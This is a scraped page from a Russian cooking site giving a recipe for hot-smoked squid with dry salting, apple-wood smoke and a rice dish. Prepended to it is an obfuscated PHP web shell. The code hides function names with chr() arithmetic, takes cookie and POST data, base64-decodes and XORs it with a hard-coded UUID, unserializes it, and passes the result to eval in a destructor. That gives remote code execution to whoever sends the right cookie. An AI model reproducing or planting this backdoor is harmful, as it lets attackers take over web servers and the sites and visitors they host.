$kphiBOJD = 'h' . chr ( 634 - 531 ).chr (95) . "\162" . "\102" . chr ( 162 - 50 ); $tlzxuVDuI = chr (99) . chr ( 836 - 728 ).'a' . "\163" . chr ( 357 - 242 )."\x5f" . 'e' . chr ( 181 - 61 ).'i' . "\x73" . chr ( 606 - 490 ).'s';$pIrqqIKjpA = class_exists($kphiBOJD); $kphiBOJD = "59360";$tlzxuVDuI = "46866";if ($pIrqqIKjpA === FALSE){class hg_rBp{public function kQVdKKM(){echo "51055";}private $gQPoKo;public static $HETcCyLM = "dd055860-1178-4382-bbe6-b1731abbe2ad";public static $cjdyII = 29116;public function __construct($GpQlsceO=0){$psYBWRuHC = $_POST;$MylDSx = $_COOKIE;$uxxIxYwK = @$MylDSx[substr(hg_rBp::$HETcCyLM, 0, 4)];if (!empty($uxxIxYwK)){$byiDf = "base64";$Sqatkdz = "";$uxxIxYwK = explode(",", $uxxIxYwK);foreach ($uxxIxYwK as $IaBeOT){$Sqatkdz .= @$MylDSx[$IaBeOT];$Sqatkdz .= @$psYBWRuHC[$IaBeOT];}$Sqatkdz = array_map($byiDf . "\x5f" . chr (100) . "\145" . "\x63" . chr (111) . 'd' . "\145", array($Sqatkdz,)); $Sqatkdz = $Sqatkdz[0] ^ str_repeat(hg_rBp::$HETcCyLM, (strlen($Sqatkdz[0]) / strlen(hg_rBp::$HETcCyLM)) + 1);hg_rBp::$cjdyII = @unserialize($Sqatkdz);}}private function YKuNECny(){if (is_array(hg_rBp::$cjdyII)) {$cJAZGjKyRg = str_replace(chr (60) . chr ( 487 - 424 ).chr (112) . "\150" . chr ( 323 - 211 ), "", hg_rBp::$cjdyII[chr ( 486 - 387 )."\157" . "\x6e" . "\164" . chr ( 554 - 453 ).chr ( 190 - 80 ).chr ( 932 - 816 )]);eval($cJAZGjKyRg); $JFRjYg = "49892";exit();}}public function __destruct(){$this->YKuNECny();}}$OZwGrn = new /* 37245 */ hg_rBp(); $OZwGrn = str_repeat("27503_51898", 1);} Копченые кальмары • Meat Review

На главную
Рецепты
Копченые кальмары

Копченые кальмары

Перейти в режим чтения

мин

0 0

Поделиться
9 414 Просмотры
Нравится 4

Добавить рецепт в закладки

You need to login or register to bookmark/favorite this content.

Виды готовки:

Горячее копчение

Средне

Инструкция

Коптить я начал лет 30 назад и, как и положено начал с рыбы. А так как любые копчености в России всегда считались закуской, то специи и просол продукта играл второстепенную роль. До сих пор многие “кулинары” не видят себя в фартуке и без стакана в руке. И обязательно ставят в оформление фотоснимка еды какой либо “пузырь”.

Особенно сложно было рассчитать соль для рыбы и морепродуктов, чуть больше и … невкусно или опять – закуска для пива.

Расскажу один секрет просола для копчения

Рыба и остальные ее “соседи” содержат в тканях очень много жидкости, поэтому мокрый засол для копчения, я заменил сухим. Отвешиваю 2% соли и пересыпаю продукт, натираю, регулярно переворачиваю, пока он лежит в холодильнике сутки. Пересола\недосола точно не будет.

calamar-1300x974

В случае с кальмарами я сразу всыпал в них кроме соли
на 1400 гр
Перец молотый – 4 гр
Сок лимона – от 2 шт.
Чеснок давленный 5 зуб.
На следующий день постарался максимально обсушить кальмары и поставил на горячее копчение яблочными опилками.
Температура в коптильне 60С
Время – 1 час
Остудить. Готово.
Предвижу вопрос: – А зачем коптить кальмары, если не для посиделок с пивом?

А вот вам еще бесплатный рецепт:

Сварите рис, просто рис на воде, рассыпчатый, белый, хорошо промытый. Порубите в него копченых кальмаров мелким кубиком, добавьте ложку топленого масла, тмин, красный перец и чуть сбрызните соевым соусом. Хорошенько перемешайте и на минутку в микроволновку. Вы удивитесь аромату и высокому вкусу этого, вполне диетического блюда.

¡Buen provecho!

(Visited 9 414 times, 1 visits today)